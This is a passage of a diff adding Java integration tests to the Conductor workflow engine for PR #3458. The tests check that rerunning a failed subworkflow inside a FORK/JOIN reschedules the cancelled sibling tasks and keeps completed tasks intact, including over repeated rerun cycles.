WorkflowTask(); + taskInSubWt.setTaskReferenceName(taskInSubRef); + taskInSubWt.setName(taskInSubRef); + taskInSubWt.setTaskDefinition(taskInSubDef); + taskInSubWt.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowDef subWfDef = new WorkflowDef(); + subWfDef.setName(subWfName); + subWfDef.setOwnerEmail("test@conductor.io"); + subWfDef.setTimeoutSeconds(600); + subWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + subWfDef.setTasks(List.of(taskInSubWt)); + metadataClient.updateWorkflowDefs(java.util.List.of(subWfDef)); + + // Parent: FORK(sub_wf_task | sibling1 | sibling2) → JOIN + SubWorkflowParams subParams = new SubWorkflowParams(); + subParams.setName(subWfName); + subParams.setVersion(1); + + WorkflowTask subWfTask = new WorkflowTask(); + subWfTask.setTaskReferenceName(subWfTaskRef); + subWfTask.setName(subWfName); + subWfTask.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + subWfTask.setSubWorkflowParam(subParams); + + TaskDef sibling1Def = new TaskDef(sibling1Ref); + sibling1Def.setRetryCount(0); + sibling1Def.setOwnerEmail("test@conductor.io"); + WorkflowTask sibling1Task = new WorkflowTask(); + sibling1Task.setTaskReferenceName(sibling1Ref); + sibling1Task.setName(sibling1Ref); + sibling1Task.setTaskDefinition(sibling1Def); + sibling1Task.setWorkflowTaskType(TaskType.SIMPLE); + + TaskDef sibling2Def = new TaskDef(sibling2Ref); + sibling2Def.setRetryCount(0); + sibling2Def.setOwnerEmail("test@conductor.io"); + WorkflowTask sibling2Task = new WorkflowTask(); + sibling2Task.setTaskReferenceName(sibling2Ref); + sibling2Task.setName(sibling2Ref); + sibling2Task.setTaskDefinition(sibling2Def); + sibling2Task.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask forkTask = new WorkflowTask(); + forkTask.setTaskReferenceName(forkRef); + forkTask.setName("FORK_JOIN"); + forkTask.setWorkflowTaskType(TaskType.FORK_JOIN); + forkTask.setForkTasks( + List.of(List.of(subWfTask), List.of(sibling1Task), List.of(sibling2Task))); + + WorkflowTask joinTask = new WorkflowTask(); + joinTask.setTaskReferenceName(joinRef); + joinTask.setName("JOIN"); + joinTask.setWorkflowTaskType(TaskType.JOIN); + joinTask.setJoinOn(List.of(subWfTaskRef, sibling1Ref, sibling2Ref)); + + WorkflowDef parentWfDef = new WorkflowDef(); + parentWfDef.setName(parentWfName); + parentWfDef.setOwnerEmail("test@conductor.io"); + parentWfDef.setTimeoutSeconds(600); + parentWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + parentWfDef.setTasks(List.of(forkTask, joinTask)); + metadataClient.updateWorkflowDefs(java.util.List.of(parentWfDef)); + + try { + StartWorkflowRequest startRequest = new StartWorkflowRequest(); + startRequest.setName(parentWfName); + startRequest.setVersion(1); + String workflowId = workflowClient.startWorkflow(startRequest); + + // Wait for subworkflow inner task to be created + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + Task swt = + wf.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName() + .equals(subWfTaskRef)) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "sub_wf_task not found")); + assertNotNull(swt.getSubWorkflowId()); + assertFalse( + workflowClient + .getWorkflow(swt.getSubWorkflowId(), true) + .getTasks() + .isEmpty()); + }); + + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + String subWorkflowId = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(subWfTaskRef)) + .findFirst() + .orElseThrow() + .getSubWorkflowId(); + + // Fail the inner task → subworkflow FAILS → both sibling1 and sibling2 CANCELLED + Workflow subWorkflow = workflowClient.getWorkflow(subWorkflowId, true); + completeTask(subWorkflow.getTasks().get(0), TaskResult.Status.FAILED); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(Workflow.WorkflowStatus.FAILED, wf.getStatus()); + assertEquals( + Task.Status.CANCELED, + wf.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName() + .equals(sibling1Ref)) + .findFirst() + .orElseThrow() + .getStatus()); + assertEquals( + Task.Status.CANCELED, + wf.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName() + .equals(sibling2Ref)) + .findFirst() + .orElseThrow() + .getStatus()); + }); + + // Retry the subworkflow — triggers updateAndPushParents on the parent + workflowClient.retryWorkflow(List.of(subWorkflowId)); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals( + Workflow.WorkflowStatus.RUNNING, + wf.getStatus(), + "Parent should be RUNNING after retry. Got: " + + wf.getStatus()); + }); + + workflow = workflowClient.getWorkflow(workflowId, true); + + // === KEY ASSERTION: BOTH sibling tasks must be rescheduled === + Task rescheduled1 = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(sibling1Ref)) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + sibling1Ref + " not found after rerun")); + assertTrue( + rescheduled1.getStatus() == Task.Status.SCHEDULED + || rescheduled1.getStatus() == Task.Status.IN_PROGRESS, + sibling1Ref + + " should be SCHEDULED after rerun. Got: " + + rescheduled1.getStatus()); + + Task rescheduled2 = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(sibling2Ref)) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + sibling2Ref + " not found after rerun")); + assertTrue( + rescheduled2.getStatus() == Task.Status.SCHEDULED + || rescheduled2.getStatus() == Task.Status.IN_PROGRESS, + sibling2Ref + + " should be SCHEDULED after rerun. Got: " + + rescheduled2.getStatus()); + + // Complete all active tasks + List.of(sibling1Ref, sibling2Ref) + .forEach( + ref -> { + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = + workflowClient.getWorkflow( + workflowId, true); + assertFalse( + wf.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName() + .equals( + ref) + && !t.getStatus() + .isTerminal()) + .findFirst() + .isEmpty(), + ref + " should be active"); + }); + Workflow wf = workflowClient.getWorkflow(workflowId, true); + wf.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName().equals(ref) + && !t.getStatus().isTerminal()) + .findFirst() + .ifPresent( + t -> completeTask(t, TaskResult.Status.COMPLETED)); + }); + + subWorkflow = workflowClient.getWorkflow(subWorkflowId, true); + Task retriedTask = + subWorkflow.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName().equals(taskInSubRef) + && !t.getStatus().isTerminal()) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "Active inner task not found after rerun")); + completeTask(retriedTask, TaskResult.Status.COMPLETED); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + workflowClient + .getWorkflow(workflowId, true) + .getStatus())); + + } finally { + try { + terminateExistingRunningWorkflows(parentWfName); + } catch (Exception e) { + /* ignore */ + } + try { + terminateExistingRunningWorkflows(subWfName); + } catch (Exception e) { + /* ignore */ + } + } + } + + /** + * Complex workflow: task before the fork, subworkflow with two sequential tasks where only the + * second task fails. Rerun must: (a) reschedule the cancelled sibling task in the parent fork + * (b) preserve the first task's COMPLETED state inside the subworkflow + * + *

    Workflow structure: task_before → FORK(branch1: sub_wf_task(SUB_WORKFLOW) | branch2: + * sibling_task(SIMPLE)) → JOIN → task_after + * + *

    Sub-workflow structure: [first_task → second_task] + * + *

    Scenario: first_task completes, second_task fails → subworkflow FAILS → sibling_task + * CANCELLED → parent FAILS. Rerun from second_task: first_task stays COMPLETED, sibling_task is + * rescheduled. + */ + @Test + @DisplayName( + "PR #3458: Rerun second task in multi-task subworkflow reschedules sibling and preserves first task state") + public void testRerunSecondTaskInSubWorkflowReschedulesCancelledSibling() { + String parentWfName = "rerun-subwf-seq-parent-" + System.currentTimeMillis(); + String subWfName = "rerun-subwf-seq-child-" + System.currentTimeMillis(); + String firstTaskRef = "first_task_in_sub"; + String secondTaskRef = "second_task_in_sub"; + String subWfTaskRef = "sub_wf_seq_task"; + String siblingTaskRef = "sibling_seq_task"; + String taskBeforeRef = "task_before_seq_fork"; + String taskAfterRef = "task_after_seq_join"; + String forkRef = "fork_seq_test"; + String joinRef = "join_seq_test"; + + // Sub-workflow: first_task → second_task (sequential) + TaskDef firstDef = new TaskDef(firstTaskRef); + firstDef.setRetryCount(0); + firstDef.setOwnerEmail("test@conductor.io"); + WorkflowTask firstWt = new WorkflowTask(); + firstWt.setTaskReferenceName(firstTaskRef); + firstWt.setName(firstTaskRef); + firstWt.setTaskDefinition(firstDef); + firstWt.setWorkflowTaskType(TaskType.SIMPLE); + + TaskDef secondDef = new TaskDef(secondTaskRef); + secondDef.setRetryCount(0); + secondDef.setOwnerEmail("test@conductor.io"); + WorkflowTask secondWt = new WorkflowTask(); + secondWt.setTaskReferenceName(secondTaskRef); + secondWt.setName(secondTaskRef); + secondWt.setTaskDefinition(secondDef); + secondWt.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowDef subWfDef = new WorkflowDef(); + subWfDef.setName(subWfName); + subWfDef.setOwnerEmail("test@conductor.io"); + subWfDef.setTimeoutSeconds(600); + subWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + subWfDef.setTasks(List.of(firstWt, secondWt)); + metadataClient.updateWorkflowDefs(java.util.List.of(subWfDef)); + + // Parent: task_before → FORK(sub_wf_task | sibling_task) → JOIN → task_after + TaskDef beforeDef = new TaskDef(taskBeforeRef); + beforeDef.setRetryCount(0); + beforeDef.setOwnerEmail("test@conductor.io"); + WorkflowTask beforeTask = new WorkflowTask(); + beforeTask.setTaskReferenceName(taskBeforeRef); + beforeTask.setName(taskBeforeRef); + beforeTask.setTaskDefinition(beforeDef); + beforeTask.setWorkflowTaskType(TaskType.SIMPLE); + + SubWorkflowParams subParams = new SubWorkflowParams(); + subParams.setName(subWfName); + subParams.setVersion(1); + WorkflowTask subWfTask = new WorkflowTask(); + subWfTask.setTaskReferenceName(subWfTaskRef); + subWfTask.setName(subWfName); + subWfTask.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + subWfTask.setSubWorkflowParam(subParams); + + TaskDef siblingDef = new TaskDef(siblingTaskRef); + siblingDef.setRetryCount(0); + siblingDef.setOwnerEmail("test@conductor.io"); + WorkflowTask siblingTask = new WorkflowTask(); + siblingTask.setTaskReferenceName(siblingTaskRef); + siblingTask.setName(siblingTaskRef); + siblingTask.setTaskDefinition(siblingDef); + siblingTask.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask forkTask = new WorkflowTask(); + forkTask.setTaskReferenceName(forkRef); + forkTask.setName("FORK_JOIN"); + forkTask.setWorkflowTaskType(TaskType.FORK_JOIN); + forkTask.setForkTasks(List.of(List.of(subWfTask), List.of(siblingTask))); + + WorkflowTask joinTask = new WorkflowTask(); + joinTask.setTaskReferenceName(joinRef); + joinTask.setName("JOIN"); + joinTask.setWorkflowTaskType(TaskType.JOIN); + joinTask.setJoinOn(List.of(subWfTaskRef, siblingTaskRef)); + + TaskDef afterDef = new TaskDef(taskAfterRef); + afterDef.setRetryCount(0); + afterDef.setOwnerEmail("test@conductor.io"); + WorkflowTask afterTask = new WorkflowTask(); + afterTask.setTaskReferenceName(taskAfterRef); + afterTask.setName(taskAfterRef); + afterTask.setTaskDefinition(afterDef); + afterTask.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowDef parentWfDef = new WorkflowDef(); + parentWfDef.setName(parentWfName); + parentWfDef.setOwnerEmail("test@conductor.io"); + parentWfDef.setTimeoutSeconds(600); + parentWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + parentWfDef.setTasks(List.of(beforeTask, forkTask, joinTask, afterTask)); + metadataClient.updateWorkflowDefs(java.util.List.of(parentWfDef)); + + try { + StartWorkflowRequest startRequest = new StartWorkflowRequest(); + startRequest.setName(parentWfName); + startRequest.setVersion(1); + String workflowId = workflowClient.startWorkflow(startRequest); + + // Complete task_before + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertFalse( + wf.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName() + .equals(taskBeforeRef)) + .findFirst() + .map(t -> t.getStatus().isTerminal()) + .orElse(true), + "task_before should be scheduled"); + }); + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + Task before = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(taskBeforeRef)) + .findFirst() + .orElseThrow(); + completeTask(before, TaskResult.Status.COMPLETED); + + // Wait for fork + subworkflow inner tasks + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + Task swt = + wf.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName() + .equals(subWfTaskRef)) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "sub_wf_task not found")); + assertNotNull(swt.getSubWorkflowId()); + Workflow sw = + workflowClient.getWorkflow(swt.getSubWorkflowId(), true); + assertFalse(sw.getTasks().isEmpty()); + }); + + workflow = workflowClient.getWorkflow(workflowId, true); + String subWorkflowId = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(subWfTaskRef)) + .findFirst() + .orElseThrow() + .getSubWorkflowId(); + + // Complete first_task inside subworkflow + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow sw = workflowClient.getWorkflow(subWorkflowId, true); + assertFalse( + sw.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName() + .equals( + firstTaskRef) + && !t.getStatus() + .isTerminal()) + .findFirst() + .isEmpty(), + "first_task should be active"); + }); + Workflow subWorkflow = workflowClient.getWorkflow(subWorkflowId, true); + Task firstTask = + subWorkflow.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName().equals(firstTaskRef) + && !t.getStatus().isTerminal()) + .findFirst() + .orElseThrow(); + String firstTaskId = firstTask.getTaskId(); + completeTask(firstTask, TaskResult.Status.COMPLETED); + + // Fail second_task inside subworkflow → subworkflow FAILS → sibling_task CANCELLED → + // parent FAILS + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow sw = workflowClient.getWorkflow(subWorkflowId, true); + assertFalse( + sw.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName() + .equals( + secondTaskRef) + && !t.getStatus() + .isTerminal()) + .findFirst() + .isEmpty(), + "second_task should be active"); + }); + subWorkflow = workflowClient.getWorkflow(subWorkflowId, true); + Task secondTask = + subWorkflow.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName().equals(secondTaskRef) + && !t.getStatus().isTerminal()) + .findFirst() + .orElseThrow(); + completeTask(secondTask, TaskResult.Status.FAILED); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + assertEquals( + Workflow.WorkflowStatus.FAILED, + workflowClient.getWorkflow(workflowId, true).getStatus()); + assertEquals( + Task.Status.CANCELED, + workflowClient + .getWorkflow(workflowId, true) + .getTasks() + .stream() + .filter( + t -> + t.getReferenceTaskName() + .equals(siblingTaskRef)) + .findFirst() + .orElseThrow() + .getStatus()); + }); + + // Retry the subworkflow — triggers updateAndPushParents on the parent + workflowClient.retryWorkflow(List.of(subWorkflowId)); + + // Wait for parent to resume + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertEquals( + Workflow.WorkflowStatus.RUNNING, + workflowClient + .getWorkflow(workflowId, true) + .getStatus(), + "Parent should be RUNNING after retry")); + + workflow = workflowClient.getWorkflow(workflowId, true); + + // === ASSERTION 1: sibling_task is rescheduled === + Task rescheduledSibling = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(siblingTaskRef)) + .findFirst() + .orElseThrow( + () -> new AssertionError("sibling_task not found after rerun")); + assertTrue( + rescheduledSibling.getStatus() == Task.Status.SCHEDULED + || rescheduledSibling.getStatus() == Task.Status.IN_PROGRESS, + "sibling_task should be SCHEDULED after rerun. Got: " + + rescheduledSibling.getStatus()); + + // === ASSERTION 2: task_before is still COMPLETED with the same taskId === + Task taskBeforeAfterRerun = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(taskBeforeRef)) + .findFirst() + .orElseThrow(); + assertEquals( + Task.Status.COMPLETED, + taskBeforeAfterRerun.getStatus(), + "task_before should still be COMPLETED after rerun"); + + // === ASSERTION 3: first_task inside subworkflow is still COMPLETED === + subWorkflow = workflowClient.getWorkflow(subWorkflowId, true); + Task firstTaskAfterRerun = + subWorkflow.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName().equals(firstTaskRef) + && t.getTaskId().equals(firstTaskId)) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "first_task original instance not found")); + assertEquals( + Task.Status.COMPLETED, + firstTaskAfterRerun.getStatus(), + "first_task should still be COMPLETED (not re-executed) after rerun from second_task"); + + // Complete sibling_task + workflow = workflowClient.getWorkflow(workflowId, true); + Task siblingToComplete = + workflow.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName().equals(siblingTaskRef) + && !t.getStatus().isTerminal()) + .findFirst() + .orElseThrow(); + completeTask(siblingToComplete, TaskResult.Status.COMPLETED); + + // Complete second_task (retried) + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow sw = workflowClient.getWorkflow(subWorkflowId, true); + assertTrue( + sw.getTasks().stream() + .anyMatch( + t -> + t.getReferenceTaskName() + .equals( + secondTaskRef) + && !t.getStatus() + .isTerminal()), + "Retried second_task should be active"); + }); + subWorkflow = workflowClient.getWorkflow(subWorkflowId, true); + Task retriedSecond = + subWorkflow.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName().equals(secondTaskRef) + && !t.getStatus().isTerminal()) + .findFirst() + .orElseThrow(() -> new AssertionError("Retried second_task not found")); + completeTask(retriedSecond, TaskResult.Status.COMPLETED); + + // Wait for task_after to appear and complete it + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertTrue( + wf.getTasks().stream() + .anyMatch( + t -> + t.getReferenceTaskName() + .equals( + taskAfterRef) + && !t.getStatus() + .isTerminal()), + "task_after should be scheduled after join completes"); + }); + workflow = workflowClient.getWorkflow(workflowId, true); + Task afterTaskInst = + workflow.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName().equals(taskAfterRef) + && !t.getStatus().isTerminal()) + .findFirst() + .orElseThrow(); + completeTask(afterTaskInst, TaskResult.Status.COMPLETED); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + workflowClient + .getWorkflow(workflowId, true) + .getStatus())); + + } finally { + try { + terminateExistingRunningWorkflows(parentWfName); + } catch (Exception e) { + /* ignore */ + } + try { + terminateExistingRunningWorkflows(subWfName); + } catch (Exception e) { + /* ignore */ + } + } + } + + /** + * Resilience test: multiple consecutive failure-rerun cycles. The cancelled sibling task must + * be rescheduled correctly on each rerun, ensuring the fix is stable across repeated retry + * attempts. + * + *

    Workflow structure: FORK(branch1: sub_wf_task(SUB_WORKFLOW) | branch2: + * sibling_task(SIMPLE)) → JOIN + * + *

    Cycle 1: fail → sibling CANCELLED → rerun → sibling SCHEDULED Cycle 2: fail again → + * sibling CANCELLED again → rerun → sibling SCHEDULED again Cycle 3: complete successfully → + * workflow COMPLETED + */ + @Test + @DisplayName( + "PR #3458: Cancelled sibling is rescheduled consistently across multiple rerun cycles") + public void testRerunSubWorkflowMultipleRerunCycles() { + String parentWfName = "rerun-subwf-multi-cycle-parent-" + System.currentTimeMillis(); + String subWfName = "rerun-subwf-multi-cycle-child-" + System.currentTimeMillis(); + String taskInSubRef = "task_in_sub_cycle"; + String subWfTaskRef = "sub_wf_cycle_task"; + String siblingTaskRef = "sibling_cycle_task"; + String forkRef = "fork_cycle_test"; + String joinRef = "join_cycle_test"; + + // Sub-workflow: single SIMPLE task + TaskDef taskInSubDef = new TaskDef(taskInSubRef); + taskInSubDef.setRetryCount(0); + taskInSubDef.setOwnerEmail("test@conductor.io"); + WorkflowTask taskInSubWt = new WorkflowTask(); + taskInSubWt.setTaskReferenceName(taskInSubRef); + taskInSubWt.setName(taskInSubRef); + taskInSubWt.setTaskDefinition(taskInSubDef); + taskInSubWt.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowDef subWfDef = new WorkflowDef(); + subWfDef.setName(subWfName); + subWfDef.setOwnerEmail("test@conductor.io"); + subWfDef.setTimeoutSeconds(600); + subWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + subWfDef.setTasks(List.of(taskInSubWt)); + metadataClient.updateWorkflowDefs(java.util.List.of(subWfDef)); + + // Parent: FORK(sub_wf_task | sibling_task) → JOIN + SubWorkflowParams subParams = new SubWorkflowParams(); + subParams.setName(subWfName); + subParams.setVersion(1); + WorkflowTask subWfTask = new WorkflowTask(); + subWfTask.setTaskReferenceName(subWfTaskRef); + subWfTask.setName(subWfName); + subWfTask.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + subWfTask.setSubWorkflowParam(subParams); + + TaskDef siblingDef = new TaskDef(siblingTaskRef); + siblingDef.setRetryCount(0); + siblingDef.setOwnerEmail("test@conductor.io"); + WorkflowTask siblingTask = new WorkflowTask(); + siblingTask.setTaskReferenceName(siblingTaskRef); + siblingTask.setName(siblingTaskRef); + siblingTask.setTaskDefinition(siblingDef); + siblingTask.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask forkTask = new WorkflowTask(); + forkTask.setTaskReferenceName(forkRef); + forkTask.setName("FORK_JOIN"); + forkTask.setWorkflowTaskType(TaskType.FORK_JOIN); + forkTask.setForkTasks(List.of(List.of(subWfTask), List.of(siblingTask))); + + WorkflowTask joinTask = new WorkflowTask(); + joinTask.setTaskReferenceName(joinRef); + joinTask.setName("JOIN"); + joinTask.setWorkflowTaskType(TaskType.JOIN); + joinTask.setJoinOn(List.of(subWfTaskRef, siblingTaskRef)); + + WorkflowDef parentWfDef = new WorkflowDef(); + parentWfDef.setName(parentWfName); + parentWfDef.setOwnerEmail("test@conductor.io"); + parentWfDef.setTimeoutSeconds(600); + parentWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + parentWfDef.setTasks(List.of(forkTask, joinTask)); + metadataClient.updateWorkflowDefs(java.util.List.of(parentWfDef)); + + try { + StartWorkflowRequest startRequest = new StartWorkflowRequest(); + startRequest.setName(parentWfName); + startRequest.setVersion(1); + String workflowId = workflowClient.startWorkflow(startRequest); + + // Wait for subworkflow to be created with its inner task (async decide can lag under + // load) + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + Task swt = + wf.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName() + .equals(subWfTaskRef)) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "sub_wf_task not found")); + assertNotNull(swt.getSubWorkflowId()); + assertFalse( + workflowClient + .getWorkflow(swt.getSubWorkflowId(), true) + .getTasks() + .isEmpty()); + }); + + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + String subWorkflowId = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(subWfTaskRef)) + .findFirst() + .orElseThrow() + .getSubWorkflowId(); + + // ── CYCLE 1: fail → rerun ──────────────────────────────────────────────── + Workflow subWorkflow = workflowClient.getWorkflow(subWorkflowId, true); + completeTask(subWorkflow.getTasks().get(0), TaskResult.Status.FAILED); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + assertEquals( + Workflow.WorkflowStatus.FAILED, + workflowClient.getWorkflow(workflowId, true).getStatus()); + assertEquals( + Task.Status.CANCELED, + workflowClient + .getWorkflow(workflowId, true) + .getTasks() + .stream() + .filter( + t -> + t.getReferenceTaskName() + .equals(siblingTaskRef)) + .findFirst() + .orElseThrow() + .getStatus()); + }); + + // Cycle 1 retry — triggers updateAndPushParents + workflowClient.retryWorkflow(List.of(subWorkflowId)); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertEquals( + Workflow.WorkflowStatus.RUNNING, + workflowClient + .getWorkflow(workflowId, true) + .getStatus(), + "Cycle 1: parent should be RUNNING after first retry")); + + workflow = workflowClient.getWorkflow(workflowId, true); + Task siblingAfterCycle1 = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(siblingTaskRef)) + .findFirst() + .orElseThrow(); + assertTrue( + siblingAfterCycle1.getStatus() == Task.Status.SCHEDULED + || siblingAfterCycle1.getStatus() == Task.Status.IN_PROGRESS, + "Cycle 1: sibling should be SCHEDULED after rerun. Got: " + + siblingAfterCycle1.getStatus()); + + // ── CYCLE 2: fail again → rerun again ─────────────────────────────────── + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow sw = workflowClient.getWorkflow(subWorkflowId, true); + assertFalse( + sw.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName() + .equals( + taskInSubRef) + && !t.getStatus() + .isTerminal()) + .findFirst() + .isEmpty(), + "Cycle 2: active inner task should exist"); + }); + subWorkflow = workflowClient.getWorkflow(subWorkflowId, true); + Task cycle2ActiveTask = + subWorkflow.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName().equals(taskInSubRef) + && !t.getStatus().isTerminal()) + .findFirst() + .orElseThrow(); + completeTask(cycle2ActiveTask, TaskResult.Status.FAILED); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + assertEquals( + Workflow.WorkflowStatus.FAILED, + workflowClient.getWorkflow(workflowId, true).getStatus(), + "Cycle 2: parent should be FAILED after second failure"); + assertEquals( + Task.Status.CANCELED, + workflowClient + .getWorkflow(workflowId, true) + .getTasks() + .stream() + .filter( + t -> + t.getReferenceTaskName() + .equals(siblingTaskRef)) + .findFirst() + .orElseThrow() + .getStatus(), + "Cycle 2: sibling should be CANCELLED again"); + }); + + // Cycle 2 retry — triggers updateAndPushParents again + workflowClient.retryWorkflow(List.of(subWorkflowId)); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertEquals( + Workflow.WorkflowStatus.RUNNING, + workflowClient + .getWorkflow(workflowId, true) + .getStatus(), + "Cycle 2: parent should be RUNNING after second retry")); + + workflow = workflowClient.getWorkflow(workflowId, true); + Task siblingAfterCycle2 = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(siblingTaskRef)) + .findFirst() + .orElseThrow(); + assertTrue( + siblingAfterCycle2.getStatus() == Task.Status.SCHEDULED + || siblingAfterCycle2.getStatus() == Task.Status.IN_PROGRESS, + "Cycle 2: sibling should be SCHEDULED after second rerun. Got: " + + siblingAfterCycle2.getStatus()); + + // ── CYCLE 3: complete successfully ────────────────────────────────────── + workflow = workflowClient.getWorkflow(workflowId, true); + Task siblingToComplete = + workflow.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName().equals(siblingTaskRef) + && !t.getStatus().isTerminal()) + .findFirst() + .orElseThrow(); + completeTask(siblingToComplete, TaskResult.Status.COMPLETED); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow sw = workflowClient.getWorkflow(subWorkflowId, true); + assertFalse( + sw.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName() + .equals( + taskInSubRef) + && !t.getStatus() + .isTerminal()) + .findFirst() + .isEmpty(), + "Cycle 3: active inner task should exist"); + }); + subWorkflow = workflowClient.getWorkflow(subWorkflowId, true); + Task finalInnerTask = + subWorkflow.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName().equals(taskInSubRef) + && !t.getStatus().isTerminal()) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "Cycle 3: active inner task not found")); + completeTask(finalInnerTask, TaskResult.Status.COMPLETED); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + workflowClient + .getWorkflow(workflowId, true) + .getStatus(), + "Workflow should reach COMPLETED after cycle 3")); + + } finally { + try { + terminateExistingRunningWorkflows(parentWfName); + } catch (Exception e) { + /* ignore */ + } + try { + terminateExistingRunningWorkflows(subWfName); + } catch (Exception e) { + /* ignore */ + } + } + } + + /** + * DO_WHILE sibling test: when the subworkflow branch fails, the DO_WHILE task in the sibling + * fork branch gets CANCELLED. After rerunning a task inside the subworkflow, the DO_WHILE must + * be restored to IN_PROGRESS (not SCHEDULED — DO_WHILE is a system task, and the fix in PR + * #3458 explicitly handles this). + * + *

    Workflow structure: FORK(branch1: sub_wf_task(SUB_WORKFLOW) | branch2: + * do_while_task(DO_WHILE[loop_body_task])) → JOIN + * + *

    When sub_wf_task fails: - do_while_task → CANCELLED - loop_body_task (first iteration + * body) → CANCELLED + * + *

